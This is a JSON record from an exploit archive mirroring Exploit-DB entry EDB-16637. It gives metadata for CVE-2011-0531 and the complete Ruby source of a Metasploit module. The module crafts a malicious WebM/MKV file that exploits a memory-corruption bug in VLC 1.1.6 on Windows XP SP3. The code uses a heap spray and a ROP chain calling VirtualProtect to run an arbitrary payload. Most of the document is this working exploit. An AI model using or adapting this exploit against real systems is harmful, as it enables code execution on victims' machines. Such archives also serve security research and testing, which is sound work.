{"exploit":{"id":"EDB-16637","name":"VideoLAN VLC Media Player 1.1.6 - 'MKV' Memory Corruption (Metasploit)","description":"VideoLAN VLC Media Player 1.1.6 - 'MKV' Memory Corruption (Metasploit)","cves":["CVE-2011-0531"],"author":"Metasploit","published":"2011-02-08","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16637","path":"exploits/windows/local/16637.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16637.rb","vulnerabilities":[{"id":"CVE-2011-0531","state":"PUBLISHED","title":null,"titleSource":null,"description":"demux/mkv/mkv.hpp in the MKV demuxer plugin in VideoLAN VLC media player 1.1.6.1 and earlier allows remote attackers to cause a denial of service (crash) and execute arbitrary commands via a crafted MKV (WebM or Matroska) file that triggers memory corruption, related to \"class mismatching\" and the MKV_IS_ID macro.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0531","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0531"},"updatedAt":"2024-08-06T21:58:25.230Z","retrievedAt":"2026-11-27T06:07:40.493Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16637.png?v=2","url":"https://exploitbin.com/exploits/EDB-16637","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16637/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16637/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: vlc_webm.rb 11725 2011-02-08 18:22:36Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::FILEFORMAT\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'VideoLAN VLC MKV Memory Corruption',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits an input validation error in VideoLAN VLC\n\t\t\t\t< 1.1.7.  By creating a malicious MKV or WebM file, a remote attacker\n\t\t\t\tcould execute arbitrary code.\n\n\t\t\t\tNOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to\n\t\t\t\tpermanently enable NX support on machines that support it.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => [ 'Dan Rosenberg' ],\n\t\t\t'Version'        => '$Revision: 11725 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'OSVDB', '70698' ],\n\t\t\t\t\t[ 'CVE', '2011-0531' ],\n\t\t\t\t\t[ 'BID', '46060' ],\n\t\t\t\t\t[ 'URL', 'http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943b56ee4289dd07&hp=f085cfc1c95b922e3c750ee93ec58c3f2d5f7456' ],\n\t\t\t\t\t[ 'URL', 'http://www.videolan.org/security/sa1102.html' ]\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'\t\t=> 1024,\n\t\t\t\t\t'DisableNops'\t=> true,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'VLC 1.1.6 on Windows XP SP3',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'SprayTarget' => 0x030b030a,\n\t\t\t\t\t\t\t'Ret' => 0x6ce091b5,\t\t# Pointer to SprayTarget\n\t\t\t\t\t\t\t'Base' => 0x6cd00000,\t\t# Base of libtaglib_plugin.dll\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Jan 31, 2011',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('FILENAME', [ true, 'The file name.',  'msf.webm']),\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\n\t\trop_base = target[\"Base\"]\n\t\tspray = target[\"SprayTarget\"]\n\n\t\t# EBML Header\n\t\tfile =  \"\\x1A\\x45\\xDF\\xA3\"\t# EBML\n\t\tfile << \"\\x01\\x00\\x00\\x00\"\n\t\tfile << \"\\x00\\x00\\x00\\x1F\"\n\t\tfile << \"\\x42\\x86\\x81\\x01\"\t# EBMLVersion = 1\n\t\tfile << \"\\x42\\xF7\\x81\\x01\"\t# EBMLReadVersion = 1\n\t\tfile << \"\\x42\\xF2\\x81\\x04\"\t# EBMLMaxIDLength = 4\n\t\tfile << \"\\x42\\xF3\\x81\\x08\"\t# EBMLMaxSizeLength = 8\n\t\tfile << \"\\x42\\x82\\x84\\x77\"\t# DocType = \"webm\"\n\t\tfile << \"\\x65\\x62\\x6D\"\n\t\tfile << \"\\x42\\x87\\x81\\x02\"\t# DocTypeVersion = 2\n\t\tfile << \"\\x42\\x85\\x81\\x02\"\t# DocTypeReadVersion = 2\n\n\t\t# Segment data\n\t\tfile << \"\\x18\\x53\\x80\\x67\"\t# (0) Segment\n\t\tfile << \"\\x01\\x00\\x00\\x00\"\n\t\tfile << \"\\x01\\xD6\\x22\\xF1\"\n\n\t\t# Seek data\n\t\tfile << \"\\x11\\x4D\\x9B\\x74\"\t# (1) SeekHead\n\t\tfile << \"\\x40\\x3F\"\n\n\t\tfile << \"\\x4D\\xBB\\x8B\"\t\t# (2) Seek\n\t\tfile << \"\\x53\\xAB\\x84\"\t\t# (3) SeekID = Segment Info\n\t\tfile << \"\\x15\\x49\\xA9\\x66\"\t#\n\n\t\tfile << \"\\x53\\xAC\\x81\"\t\t# (3) SeekPosition\n\t\tfile << \"\\xff\"\t\t\t# \tindex of segment info\n\n\t\t# Trigger the bug with an out-of-order element\n\t\tfile << \"\\x53\\xAB\\x84\"\t\t# (3) SeekID = Tracks\n\t\tfile << \"\\x16\\x54\\xAE\\x6B\"\t#\n\n\t\tfile << \"\\x42\" * 228 \t\t# Padding\n\n\t\t# Data\n\t\tfile << \"\\x15\\x49\\xA9\\x66\"\t# (1) Segment Info\n\t\tfile << \"\\x01\\x00\\x00\\x00\"\t#\n\t\tfile << \"\\x01\\xff\\xff\\xff\"\t# This triggers our heap spray...\n\t\tfile << [target.ret].pack('V')\t# Pointer to our heap spray\n\n\t\t# The alignment plays nice, so EIP will always\n\t\t# hit our pivot when our heapspray works.  ESI contains\n\t\t# 0x030b030a, which will point to one of our \"pop; retn\"\n\t\t# pointers, so this works as both a pivot and NOPsled\n\t\tblock = [\n\t\t\trop_base + 0x229a5,\t\t# xcgh esi,esp; retn\n\t\t\trop_base + 0x2c283,\t\t# pop eax; retn\n\t\t\t0xdeadbeef,\t\t\t# pad\n\t\t\trop_base + 0x2c283,\t\t# pop eax; retn\n\t\t]\n\t\tblock = block.pack('V*')\n\n\t\t# ROP payload\n\t\trop = [\n\t\t\trop_base + 0x1022,\t\t# retn\n\n\t\t\t# Call VirtualProtect()\n\t\t\trop_base + 0x2c283,\t\t# pop eax; retn\n\t\t\trop_base + 0x1212a4,\t\t# IAT entry for VirtualProtect -> eax\n\t\t\trop_base + 0x12fda,\t\t# mov eax,DWORD PTR [eax]\n\t\t\trop_base + 0x29d13,\t\t# jmp eax\n\n\t\t\trop_base + 0x1022,\t\t# retn\n\t\t\tspray & ~0xfff,\t\t\t# lpAddress\n\t\t\t0x60000,\t\t\t# dwSize\n\t\t\t0x40,\t\t\t\t# flNewProtect\n\t\t\tspray - 0x1000,\t\t\t# lpfOldProtect\n\n\t\t\t# Enough of this ROP business...\n\t\t\trop_base + 0xdace8              # push esp; retn\n\t\t]\n\t\trop = rop.pack('V*')\n\n\t\t# Overwrite the bad pointer with the address of an infinite\n\t\t# loop so the other threads spin instead of crashing\n\t\trop << \"\\xc7\\x05\"\n\t\trop << [spray + 0xc].pack('V')\n\t\trop << [rop_base + 0x1c070].pack('V')\t# mov DWORD PTR ds:[ptr],&loop\n\n\t\t# Restore the stack\n\t\trop << \"\\x87\\xe6\"\t\t\t# xchg esi,esp\n\n\t\t# Payload\n\t\trop << payload.encoded\n\n\t\t# We need to be 16-byte aligned\n\t\trop << \"\\xcc\" * (16 - rop.length % 16)\n\n\t\t# Heapspray and payload, go!\n\t\t32.times {\n\t\t\t0x3000.times {\n\t\t\t\tfile << block\n\t\t\t}\n\t\t\tfile << rop\n\t\t}\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(file)\n\n\tend\nend","sha256":"b7292a7e8c774aa87a884f79ade64a881bf03fade7cb64e58a60b80f160bd334","bytes":4853,"fetchedAt":"2026-11-27T06:07:34.319Z","encoding":"utf-8 (display only; download retains original bytes)"}